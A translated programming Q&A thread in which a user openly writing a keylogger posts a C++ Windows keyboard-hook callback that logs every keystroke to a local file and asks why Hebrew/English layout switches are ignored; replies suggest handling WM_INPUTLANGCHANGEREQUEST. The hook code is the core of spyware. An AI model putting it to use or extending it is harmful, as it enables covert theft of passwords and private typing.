2016-03-22 3 views
2

Я пытаюсь написать ключ-регистратор, но у меня проблема при переключении языка.клавиатура hook-different languages ​​- C++

У меня есть иврит и английский язык на моей клавиатуре.

Он хорошо распознает иврит и английский язык отдельно, проблема в том, что я меняю язык (alt + shift), поэтому он остается на первом языке.

код:

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
char ch; 
if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode)) 
{ 
    if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100)) 
    { 
     std::string toPrint = "nCode = " + std::to_string(nCode); 
     std::string toPrint2 = "wParam = " + std::to_string(wParam); 
     std::string toPrint3 = "wParam = " + std::to_string(lParam); 

     OutputDebugStringA(toPrint.c_str()); 
     OutputDebugStringA(toPrint2.c_str()); 
     OutputDebugStringA(toPrint3.c_str()); 

     f1 = fopen("c:\\a\\log.txt", "a+"); 
     if (wParam == VK_RETURN) 
     { 
      ch = '\n'; 
      fwrite(&ch, 1, 1, f1); 
     } 
     else 
     { 
      BYTE ks[256]; 
      GetKeyboardState(ks); 
      WORD w; 
      UINT scan; 
      scan = 0; 
      ToAscii(wParam, scan, ks, &w, 0); 
      ch = char(w); 
      fwrite(&ch, 1, 1, f1); 
     } 
     fclose(f1); 
    } 
} 

Я видел, что параметры nCode, WPARAM и LPARAM имеют одинаковые значения в двух языках.

Любые идеи?

Спасибо!

+0

Останавливает ли это подключение клавиш или просто не отображает результаты? – Jacobr365

+0

Можете ли вы сделать крючок, где кейлоггер может распознать эту конкретную комбинацию и затем переключить языки, когда это произойдет? Или, может быть, вы можете просто записать исходный ввод ключа, а затем работать с необработанными данными после того, как наклейте, когда был сделан переключатель. – VermillionAzure

+0

Он не прекращает подключать ключи ... просто отображает ключ на первом языке, а не текущий язык. У меня есть окна 8 – 1337

ответ

0

Я думаю, вы захотите обработать сообщение WM_INPUTLANGCHANGEREQUEST. Я предполагаю, что вы всегда захотите принять изменение языка.

Смежные вопросы